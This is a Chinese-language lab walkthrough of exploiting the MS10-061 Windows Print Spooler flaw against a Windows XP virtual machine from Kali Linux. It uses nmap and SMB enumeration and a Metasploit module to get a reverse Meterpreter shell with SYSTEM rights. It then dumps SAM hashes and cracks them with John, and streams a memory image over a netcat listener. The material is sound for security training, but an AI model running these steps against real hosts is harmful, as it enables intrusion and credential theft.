漏洞介绍
Windows打印后台程序没有充分限制访问该服务的用户权限,攻击者可以通过提交特制的打印请求在windows系统目录(%SystemRoot%system32)中创建文件。
攻击者可指定任意文件名,包括目录遍历,通过发送WritePrinter请求,攻击者可以完全控制创建文件的内容。
将文件写入到windows系统目录后,通过WMI来部署恶意程序,因为系统会自动运行%SYstemRoot%System32WbemMOF文件夹的mof文件、执行命令。
该漏洞首次被发现并应用于著名的Stuxnet蠕虫。
实验环境
攻击机:Kali Linux虚拟机
靶机:Windows xp sp3虚拟机
靶机环境配置
1. 获取靶机IP
ipconfig
2. 创建共享打印
打开控制面板,找到“打印机和传真”,双击打开后,右键选择“添加打印机”。有几个地方的配置可能需要修改一下:
后面还需要选择打印机厂商和型号,这个随便选择即可,名字也可以随意。不需要打印测试页。
完成后,右键新建的打印机,选择“共享”,点击下方的蓝字,不需要使用向导。
攻击
1. nmap扫描靶机
nmap -sS -sU -O -p137-139,445 靶机IP
根据结果可知,靶机存在NetBIOS和RPC服务(139,445)。
2. 查找NetBIOS名称
nmblookup -A 靶机IP
NetBIOS工作站名字:ALLEYN-DBDD2110
NetBIOS组名:WORKGROUP
Master Browser: _MSBROWSE_
第二列解释(NetBIOS后缀)可以参考百度百科:NetBIOS协议。
第四列为节点类型:
节点类型 | 含义 |
---|---|
B | 0x01 Broadcast |
P | 0x02 Peer(WINS only) |
M | 0x04 Mixed(broadcast,then WINS) |
H | 0x08 Hybrid(WINS,then broadcast) |
3. 访问SMB资源
smbclient -L \NetBIOS工作站名字 -I 靶机IP -N
如果提示protocol negotiation failed: NT_STATUS_IO_TIMEOUT
,就修改/etc/samba/smb.conf,在[global]下添加两行:
client min protocol = CORE
client max protocol = SMB3
正常情况下的返回结果如图,可以查看到我们之前在靶机创建的MyPrinter。
4. 使用MSF进行攻击
启动msfconsole,载入模块,查看需要配置的参数。
msfconsole
use exploit/windows/smb/ms10_061_spoolss
show options
之后配置各项参数。
设置payload参数并配置。
开始攻击,如果攻击成功,会出现下面的提示。
恶意程序被写入到靶机的%SystemRoot%system32cMityUuf3mMo72.exe
,此程序运行后反弹一个shell给kali,从而建立了一个Meterpreter会话。该恶意程序是通过%SystemRoot%system32wbemmofWSsM5g8MoL5KHr.mof
控制运行的。
5. 验证操作
可以看到我们已经获取了系统的system权限,``getpid也得到了当前Meterpreter会话的进程ID。执行
shell`后可以直接进入靶机的命令行界面。
# 查看该PID的相关进程,可以看到刚才写入的恶意程序
tasklist /v /fi "PID eq "进程ID"
# 查找该PID关联的网络链接
netstat -nao | findstr "进程ID"
信息收集取证
1. 进行基本的信息收集取证
# 进程信息收集
tasklist > forensics_tasklist.txt
# 网络信息收集
netstat -ano > forensics_netstat.txt
# 目录文件信息收集
dir > dir_forensics.txt
收集完成后,退出shell。
2. 获取SAM数据库信息
输入hashdump
获取SAM数据库,将获取到的信息复制到一个文本文件。
3. 建立远程取证收集环境
nc -lvvvp 7777 > ms10_061.dd
4. 收集受害者内存信息
Helix下载地址:点击此处
下载Helix 2008R1,下载完成后为一个iso文件,把它挂载在windows虚拟机上,然后在虚拟机中挂载并打开。
进行如下配置后,点击“Acquire”,出现弹窗后点击“Yes”。“Destination IP”为攻击机IP。
等待内存信息收集完成,完成后会自动关闭此cmd窗口。
收集完成后,回到kali,对7777端口的监听也自动结束了,ls -lh
查看收集到的文件,共1.6G。
5. 收集其他取证文件
下载之前收集的进程信息、网络信息和恶意程序。
download C:\WINDOWS\system32\forensics_tasklist.txt 下载目录
download C:\WINDOWS\system32\forensics_netstat.txt 下载目录
download C:\WINDOWS\system32\dir_forensics.txt 下载目录
download C:\WINDOWS\system32\恶意程序名称 下载目录
下载完成后可以在对应的目录下看到收集到的文件。
6. 使用John破解密码
cp ./samhash.txt
grep -i admin samhash.txt > adminhash.txt
john --format=nt adminhash.txt
正常情况下,会在(Administrator)
前面显示管理员密码,由于我没有设置密码,所以这里为空。